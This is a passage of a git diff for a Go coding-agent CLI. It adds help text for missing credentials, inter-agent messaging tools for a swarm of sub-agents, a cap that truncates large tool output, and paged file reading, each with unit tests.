do\n") + return b.String() +} + +func joinModels(models []string, limit int) string { + if len(models) <= limit { + return strings.Join(models, ", ") + } + return fmt.Sprintf("%s and %d more", strings.Join(models[:limit], ", "), len(models)-limit) +} diff --git a/internal/repl/onboarding_test.go b/internal/repl/onboarding_test.go new file mode 100644 index 0000000..93dbd60 --- /dev/null +++ b/internal/repl/onboarding_test.go @@ -0,0 +1,59 @@ +package repl + +import ( + "errors" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apiclient" +) + +func TestMissingCredentialsHelpNamesInstalledLocalModels(t *testing.T) { + local := apiclient.LocalServer{Name: "Ollama", BaseURL: "http://localhost:11434/v1", Models: []string{"gemma2:9b", "llama3.1:8b", "qwen2.5-coder:7b"}} + out := MissingCredentialsHelp("sonnet", errors.New("missing Anthropic credentials"), local, true) + + for _, want := range []string{ + `none is set up for "sonnet"`, + "missing Anthropic credentials", + "Ollama is running with gemma2:9b, llama3.1:8b, qwen2.5-coder:7b", + "gocode chat --model qwen2.5-coder:7b", // the coder model is suggested, not the first alphabetically + "OPENROUTER_API_KEY", + "ANTHROPIC_API_KEY", + "gocode doctor --model", + } { + if !strings.Contains(out, want) { + t.Errorf("help should contain %q:\n%s", want, out) + } + } + if strings.Contains(out, "ollama pull") { + t.Error("should not tell a user with models installed to pull one") + } +} + +func TestMissingCredentialsHelpWithoutLocalServer(t *testing.T) { + out := MissingCredentialsHelp("sonnet", nil, apiclient.LocalServer{}, false) + for _, want := range []string{"install Ollama", "ollama pull qwen2.5-coder:7b", "gocode chat --model qwen2.5-coder:7b", "openrouter.ai/keys"} { + if !strings.Contains(out, want) { + t.Errorf("help should contain %q:\n%s", want, out) + } + } + if strings.Contains(out, "(") && strings.Contains(out, "()") { + t.Error("nil cause must not be printed") + } +} + +func TestMissingCredentialsHelpLocalServerWithNoModels(t *testing.T) { + out := MissingCredentialsHelp("llama", nil, apiclient.LocalServer{Name: "Ollama"}, true) + if !strings.Contains(out, "running but has no models yet") || !strings.Contains(out, "ollama pull") { + t.Errorf("empty server should be told to pull:\n%s", out) + } +} + +func TestJoinModelsTruncates(t *testing.T) { + if got := joinModels([]string{"a", "b", "c", "d", "e", "f"}, 4); got != "a, b, c, d and 2 more" { + t.Errorf("got %q", got) + } + if got := joinModels([]string{"a"}, 4); got != "a" { + t.Errorf("got %q", got) + } +} diff --git a/internal/swarm/inbox.go b/internal/swarm/inbox.go new file mode 100644 index 0000000..7c94e0f --- /dev/null +++ b/internal/swarm/inbox.go @@ -0,0 +1,136 @@ +package swarm + +import ( + "encoding/json" + "fmt" + "sort" + "strings" + + "github.com/AlleyBo55/gocode/internal/agent" + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// MainAgent is the name the interactive session registers under. Sub-agents +// report to it and can message it by this name. +const MainAgent = "main" + +// Drain returns and removes every pending message for an agent, oldest first. +func (s *SwarmManager) Drain(name string) []SwarmMessage { + var out []SwarmMessage + for { + msg, ok := s.ReceiveMessage(name) + if !ok { + return out + } + out = append(out, msg) + } +} + +// FormatInbox renders messages the way they are shown to a model: one entry +// per message, sender named, so the model can reply to the right agent. +func FormatInbox(msgs []SwarmMessage) []string { + out := make([]string, 0, len(msgs)) + for _, m := range msgs { + out = append(out, fmt.Sprintf("[message from %s]\n%s", m.From, m.Content)) + } + return out +} + +// Tool names offered to every agent in the swarm. +const ( + ToolSendMessage = "send_agent_message" + ToolListAgents = "list_agents" +) + +// ToolDefs are the swarm tools as the model sees them. The description names +// the main agent so a sub-agent knows where to report. +func ToolDefs() []apitypes.ToolDef { + return []apitypes.ToolDef{ + { + Name: ToolSendMessage, + Description: "Send a message to another agent in the swarm. Use list_agents to see who is running. " + + "The interactive session is \"" + MainAgent + "\". The recipient sees the message at the start of its next turn.", + InputSchema: json.RawMessage(`{"type":"object","properties":{"to":{"type":"string","description":"Name of the target agent"},"message":{"type":"string","description":"The message"}},"required":["to","message"]}`), + }, + { + Name: ToolListAgents, + Description: "List the agents currently in the swarm with their status and category.", + InputSchema: json.RawMessage(`{"type":"object","properties":{}}`), + }, + } +} + +// IsSwarmTool reports whether name is one of the swarm tools. +func IsSwarmTool(name string) bool { + switch strings.ToLower(name) { + case ToolSendMessage, ToolListAgents: + return true + } + return false +} + +// ExecuteTool runs a swarm tool on behalf of the named agent. ok is false +// when name is not a swarm tool. +func (s *SwarmManager) ExecuteTool(from, name string, input map[string]interface{}) (result apitypes.ToolResult, ok bool) { + switch strings.ToLower(name) { + case ToolSendMessage: + to, _ := input["to"].(string) + message, _ := input["message"].(string) + if to == "" || message == "" { + return apitypes.ToolResult{Output: "both \"to\" and \"message\" are required", IsError: true}, true + } + if err := s.SendMessage(from, to, message); err != nil { + return apitypes.ToolResult{Output: err.Error() + "; use list_agents to see who is running", IsError: true}, true + } + return apitypes.ToolResult{Output: fmt.Sprintf("delivered to %s; it will read the message at the start of its next turn", to)}, true + case ToolListAgents: + agents := s.ListAgents() + sort.Slice(agents, func(i, j int) bool { return agents[i].Name < agents[j].Name }) + if len(agents) == 0 { + return apitypes.ToolResult{Output: "no agents registered"}, true + } + var b strings.Builder + for _, a := range agents { + fmt.Fprintf(&b, "%s\t%s", a.Name, a.Status) + if a.Category != "" { + fmt.Fprintf(&b, "\t%s", a.Category) + } + if a.Name == from { + b.WriteString("\t(you)") + } + b.WriteString("\n") + } + return apitypes.ToolResult{Output: b.String()}, true + } + return apitypes.ToolResult{}, false +} + +// WrapExecutor adds the swarm tools to an agent's tool set, bound to the +// agent's own name so messages carry the right sender. Swarm tool calls are +// answered here; everything else passes through. +func WrapExecutor(inner agent.ToolExecutor, s *SwarmManager, self string) agent.ToolExecutor { + return &swarmExecutor{inner: inner, swarm: s, self: self} +} + +// InboxFor returns the Inbox function for a runtime: it drains and formats +// the named agent's messages. +func (s *SwarmManager) InboxFor(name string) func() []string { + return func() []string { return FormatInbox(s.Drain(name)) } +} + +type swarmExecutor struct { + inner agent.ToolExecutor + swarm *SwarmManager + self string +} + +func (e *swarmExecutor) Execute(name string, input map[string]interface{}) apitypes.ToolResult { + if res, ok := e.swarm.ExecuteTool(e.self, name, input); ok { + return res + } + return e.inner.Execute(name, input) +} + +func (e *swarmExecutor) ListTools() []apitypes.ToolDef { + return append(e.inner.ListTools(), ToolDefs()...) +} diff --git a/internal/swarm/inbox_test.go b/internal/swarm/inbox_test.go new file mode 100644 index 0000000..28daf29 --- /dev/null +++ b/internal/swarm/inbox_test.go @@ -0,0 +1,81 @@ +package swarm + +import ( + "reflect" + "strings" + "testing" +) + +func TestDrainReturnsAllPendingInOrderThenNothing(t *testing.T) { + s := NewSwarmManager(5) + _ = s.Register(MainAgent, nil, "main") + _ = s.Register("worker-1", nil, "deep") + for _, m := range []string{"first", "second", "third"} { + if err := s.SendMessage("worker-1", MainAgent, m); err != nil { + t.Fatal(err) + } + } + got := s.Drain(MainAgent) + if len(got) != 3 || got[0].Content != "first" || got[2].Content != "third" || got[0].From != "worker-1" { + t.Errorf("drain = %+v", got) + } + if again := s.Drain(MainAgent); len(again) != 0 { + t.Errorf("second drain should be empty, got %d", len(again)) + } + if unknown := s.Drain("nobody"); unknown != nil { + t.Errorf("unregistered agent should drain nil, got %v", unknown) + } +} + +func TestFormatInboxNamesTheSender(t *testing.T) { + got := FormatInbox([]SwarmMessage{{From: "planner-2", Content: "plan ready"}, {From: MainAgent, Content: "stop"}}) + want := []string{"[message from planner-2]\nplan ready", "[message from main]\nstop"} + if !reflect.DeepEqual(got, want) { + t.Errorf("got %q", got) + } + if got := FormatInbox(nil); len(got) != 0 { + t.Errorf("nil inbox should format to nothing, got %q", got) + } +} + +func TestExecuteToolSendAndList(t *testing.T) { + s := NewSwarmManager(5) + _ = s.Register(MainAgent, nil, "main") + _ = s.Register("deep-worker-1", []string{"filereadtool"}, "deep") + + res, ok := s.ExecuteTool("deep-worker-1", ToolSendMessage, map[string]interface{}{"to": MainAgent, "message": "found it"}) + if !ok || res.IsError || !strings.Contains(res.Output, "delivered to main") { + t.Fatalf("send = %+v ok=%v", res, ok) + } + if msgs := s.Drain(MainAgent); len(msgs) != 1 || msgs[0].From != "deep-worker-1" || msgs[0].Content != "found it" { + t.Errorf("main inbox = %+v", msgs) + } + + res, _ = s.ExecuteTool("deep-worker-1", ToolSendMessage, map[string]interface{}{"to": "ghost", "message": "hi"}) + if !res.IsError || !strings.Contains(res.Output, "not found") || !strings.Contains(res.Output, "list_agents") { + t.Errorf("unknown target should point at list_agents: %+v", res) + } + res, _ = s.ExecuteTool("deep-worker-1", ToolSendMessage, map[string]interface{}{"to": MainAgent}) + if !res.IsError { + t.Error("missing message must be an error") + } + + res, ok = s.ExecuteTool("deep-worker-1", "LIST_AGENTS", nil) + if !ok || res.IsError { + t.Fatalf("list = %+v ok=%v", res, ok) + } + lines := strings.Split(strings.TrimSpace(res.Output), "\n") + if len(lines) != 2 || !strings.HasPrefix(lines[0], "deep-worker-1\trunning\tdeep\t(you)") || !strings.HasPrefix(lines[1], "main\trunning") { + t.Errorf("list output = %q", res.Output) + } + + if _, ok := s.ExecuteTool("x", "bashtool", nil); ok { + t.Error("non-swarm tools must not be claimed") + } + if !IsSwarmTool("send_agent_message") || !IsSwarmTool("List_Agents") || IsSwarmTool("bashtool") { + t.Error("IsSwarmTool") + } + if defs := ToolDefs(); len(defs) != 2 || defs[0].Name != ToolSendMessage || !strings.Contains(defs[0].Description, `"main"`) { + t.Errorf("defs = %+v", defs) + } +} diff --git a/internal/toolimpl/output_test.go b/internal/toolimpl/output_test.go new file mode 100644 index 0000000..a779c85 --- /dev/null +++ b/internal/toolimpl/output_test.go @@ -0,0 +1,161 @@ +package toolimpl + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" +) + +func numberedLines(n int) string { + var b strings.Builder + for i := 1; i <= n; i++ { + fmt.Fprintf(&b, "line %06d\n", i) + } + return b.String() +} + +func TestTruncateOutputLeavesSmallOutputAlone(t *testing.T) { + small := numberedLines(100) + if got := TruncateOutput("bashtool", small); got != small { + t.Error("output under the cap must be returned byte for byte") + } + exact := strings.Repeat("x", MaxToolOutputBytes) + if got := TruncateOutput("bashtool", exact); got != exact { + t.Error("output exactly at the cap must not be truncated") + } +} + +func TestTruncateOutputKeepsHeadAndTailOnLineBoundaries(t *testing.T) { + big := numberedLines(20_000) // 220 KB + got := TruncateOutput("bashtool", big) + + if len(got) > MaxToolOutputBytes+400 { + t.Errorf("truncated output is %d bytes, cap is %d plus a marker", len(got), MaxToolOutputBytes) + } + if !strings.HasPrefix(got, "line 000001\n") { + t.Errorf("head lost: %q", got[:40]) + } + if !strings.HasSuffix(got, "line 020000\n") { + t.Errorf("tail lost: %q", got[len(got)-40:]) + } + // Cuts land on line boundaries, so no half-line garbage on either side + // of the marker. + markerAt := strings.Index(got, "[gocode: output truncated.") + if markerAt < 0 { + t.Fatal("no marker") + } + if got[markerAt-1] != '\n' { + t.Errorf("head does not end at a line boundary: %q", got[markerAt-20:markerAt]) + } + after := got[strings.Index(got[markerAt:], "]\n")+markerAt+2:] + if !strings.HasPrefix(after, "line ") { + t.Errorf("tail does not start at a line boundary: %q", after[:20]) + } + for _, want := range []string{"bytes (", "lines) omitted", "showing the first", "Narrow the command"} { + if !strings.Contains(got, want) { + t.Errorf("marker should say %q:\n%s", want, got[markerAt:markerAt+300]) + } + } +} + +func TestTruncateOutputHintIsPerTool(t *testing.T) { + big := strings.Repeat("y", MaxToolOutputBytes+1) + if got := TruncateOutput("FileReadTool", big); !strings.Contains(got, "start_line and end_line") { + t.Error("file read hint missing (tool names are case-insensitive)") + } + if got := TruncateOutput("some_plugin_tool", big); !strings.Contains(got, "output truncated") || strings.Contains(got, "Narrow the command") { + t.Error("unknown tools get the marker without a bash-specific hint") + } +} + +func TestRegistryAppliesTheCapToEveryTool(t *testing.T) { + r := NewRegistry() + r.Set("firehose", fakeTool{out: strings.Repeat("z\n", 100_000)}) + res := r.ExecuteTool("firehose", `{}`) + if !res.Success || len(res.Output) > MaxToolOutputBytes+400 || !strings.Contains(res.Output, "output truncated") { + t.Errorf("registry did not cap a plugin tool: success=%v len=%d", res.Success, len(res.Output)) + } + // Errors carry their (possibly huge) partial output too. + r.Set("failing", fakeTool{out: strings.Repeat("e\n", 100_000), err: "exit code 1"}) + res = r.ExecuteTool("failing", `{}`) + if res.Success || res.Error != "exit code 1" || len(res.Output) > MaxToolOutputBytes+400 { + t.Errorf("failed tool output not capped: %v %q len=%d", res.Success, res.Error, len(res.Output)) + } +} + +type fakeTool struct { + out string + err string +} + +func (f fakeTool) Execute(map[string]interface{}) ToolResult { + return ToolResult{Success: f.err == "", Output: f.out, Error: f.err} +} + +func TestBashToolLargeOutputIsCappedWithBothEnds(t *testing.T) { + res := (&BashTool{}).Execute(map[string]interface{}{"command": "seq 1 100000"}) + if !res.Success { + t.Fatalf("seq failed: %s", res.Error) + } + // The tool itself returns everything; the registry caps it. Both are + // exercised: raw size here, capped size via the registry below. + if len(res.Output) < 500_000 { + t.Fatalf("expected ~590KB from seq, got %d", len(res.Output)) + } + capped := NewRegistry().ExecuteTool("BashTool", `{"command":"seq 1 100000"}`) + if len(capped.Output) > MaxToolOutputBytes+400 { + t.Errorf("registry did not cap bash output: %d bytes", len(capped.Output)) + } + if !strings.HasPrefix(capped.Output, "1\n2\n") || !strings.HasSuffix(capped.Output, "99999\n100000\n") { + t.Errorf("head/tail not preserved: starts %q ends %q", capped.Output[:10], capped.Output[len(capped.Output)-14:]) + } +} + +func TestFileReadToolPagesLargeFilesUnlessARangeIsGiven(t *testing.T) { + path := filepath.Join(t.TempDir(), "big.txt") + if err := os.WriteFile(path, []byte(numberedLines(5000)), 0o644); err != nil { + t.Fatal(err) + } + tool := &FileReadTool{} + + // No range: first page plus a continuation hint naming the next line. + res := tool.Execute(map[string]interface{}{"path": path}) + if !res.Success { + t.Fatal(res.Error) + } + if !strings.HasPrefix(res.Output, "1: line 000001\n") || !strings.Contains(res.Output, "\n2000: line 002000\n") || strings.Contains(res.Output, "\n2001: ") { + t.Errorf("first page wrong: starts %q", res.Output[:40]) + } + if !strings.Contains(res.Output, "file has 5000 lines; showing 1-2000. Pass start_line=2001") { + t.Errorf("continuation hint missing or wrong: %q", res.Output[len(res.Output)-200:]) + } + + // start_line only: a page from there. + res = tool.Execute(map[string]interface{}{"path": path, "start_line": 2001}) + if !strings.HasPrefix(res.Output, "2001: ") || !strings.Contains(res.Output, "\n4000: ") || !strings.Contains(res.Output, "Pass start_line=4001") { + t.Errorf("second page wrong") + } + + // Explicit range is honoured exactly, even when large. + res = tool.Execute(map[string]interface{}{"path": path, "start_line": 10, "end_line": 12}) + if res.Output != "10: line 000010\n11: line 000011\n12: line 000012\n" { + t.Errorf("explicit range = %q", res.Output) + } + res = tool.Execute(map[string]interface{}{"path": path, "start_line": 1, "end_line": 3000}) + if strings.Count(res.Output, "\n") != 3000 || strings.Contains(res.Output, "[gocode:") { + t.Errorf("explicit 3000-line range should be returned whole with no paging hint; got %d lines", strings.Count(res.Output, "\n")) + } + + // A small file is unchanged: no hint, and the trailing newline is not + // counted as an extra empty line. + small := filepath.Join(t.TempDir(), "small.txt") + if err := os.WriteFile(small, []byte("a\nb\n"), 0o644); err != nil { + t.Fatal(err) + } + res = tool.Execute(map[string]interface{}{"path": small}) + if res.Output != "1: a\n2: b\n" { + t.Errorf("small file = %q", res.Output) + } +} diff --git a/internal/toolimpl/toolimpl.go b/internal/toolimpl/toolimpl.go index dbc10c3..236bc3a 100644 --- a/internal/toolimpl/toolimpl.go +++ b/internal/toolimpl/toolimpl.go @@ -76,7 +76,55 @@ func (r *Registry) ExecuteTool(name, payload string) ToolResult { if params == nil { params = make(map[string]interface{}) } - return executor.Execute(params) + result := executor.Execute(params) + result.Output = TruncateOutput(name, result.Output) + return result +} + +// MaxToolOutputBytes caps what one tool result may put into the model's +// context. Beyond it the head and the tail are kept and the middle is +// replaced by a marker: the tail is where test failures and stack traces +// live, the head is where the model learns what it was looking at. The cap +// is roughly 10k tokens, and it is paid again on every later turn, which is +// why it is not larger. +const MaxToolOutputBytes = 40_000 + +// truncationHints tell the model how to get at the part it needs, per tool. +var truncationHints = map[string]string{ + "bashtool": "Narrow the command (grep, head, tail, --quiet), or redirect output to a file and read the part you need.", + "filereadtool": "Use start_line and end_line to read a specific range.", + "greptool": "Use a more specific pattern or an include filter.", + "globtool": "Use a narrower pattern or path.", + "webfetchtool": "Fetch a more specific URL.", +} + +// TruncateOutput bounds a tool result to MaxToolOutputBytes, preferring to +// cut on line boundaries and telling the model what was dropped and how to +// ask for it. +func TruncateOutput(toolName, out string) string { + if len(out) <= MaxToolOutputBytes { + return out + } + headBudget := MaxToolOutputBytes * 2 / 3 + tailBudget := MaxToolOutputBytes - headBudget + + head := out[:headBudget] + if i := strings.LastIndexByte(head, '\n'); i > headBudget/2 { + head = head[:i+1] + } + tail := out[len(out)-tailBudget:] + if i := strings.IndexByte(tail, '\n'); i >= 0 && i < tailBudget/2 { + tail = tail[i+1:] + } + omitted := out[len(head) : len(out)-len(tail)] + + hint := truncationHints[strings.ToLower(toolName)] + if hint != "" { + hint = " " + hint + } + marker := fmt.Sprintf("\n[gocode: output truncated. %d bytes (%d lines) omitted here; showing the first %d and last %d bytes of %d.%s]\n", + len(omitted), strings.Count(omitted, "\n"), len(head), len(tail), len(out), hint) + return head + marker + tail } // --- BashTool --- @@ -175,9 +223,15 @@ func (t *FileReadTool) Execute(params map[string]interface{}) ToolResult { } lines := strings.Split(string(data), "\n") + // A trailing newline yields an empty final element that is not a line. + if n := len(lines); n > 0 && lines[n-1] == "" { + lines = lines[:n-1] + } + total := len(lines) startLine := 0 - endLine := len(lines) + endLine := total + endGiven := false if v, ok := params["start_line"]; ok { if n, err := toInt(v); err == nil && n > 0 { @@ -187,14 +241,23 @@ func (t *FileReadTool) Execute(params map[string]interface{}) ToolResult { if v, ok := params["end_line"]; ok { if n, err := toInt(v); err == nil && n > 0 { endLine = n // 1-indexed inclusive → 0-indexed exclusive + endGiven = true } } if startLine < 0 { startLine = 0 } - if endLine > len(lines) { - endLine = len(lines) + if endLine > total { + endLine = total + } + // Without an explicit end, a large file is read in pages. The model is told + // where the page ends and how to ask for the next one; an explicit range is + // honoured as asked. + capped := false + if !endGiven && endLine-startLine > DefaultReadLines { + endLine = startLine + DefaultReadLines + capped = true } if startLine >= endLine { return ToolResult{Success: true, Output: ""} @@ -205,9 +268,19 @@ func (t *FileReadTool) Execute(params map[string]interface{}) ToolResult { for i := startLine; i < endLine; i++ { sb.WriteString(fmt.Sprintf("%d: %s\n", i+1, lines[i])) } + if capped { + fmt.Fprintf(&sb, "\n[gocode: file has %d lines; showing %d-%d. Pass start_line=%d to continue, or start_line and end_line for a specific range.]\n", + total, startLine+1, endLine, endLine+1) + } return ToolResult{Success: true, Output: sb.String()} } +// DefaultReadLines is how much of a file FileReadTool returns when no end_line +// is given. Two thousand lines of typical source is on the order of 20k +// tokens, already a large share of a turn; whole files beyond that are read +// in pages on request rather than dumped into context unasked. +const DefaultReadLines = 2000 + // --- FileEditTool --- // FileEditTool edits files via exact string replacement.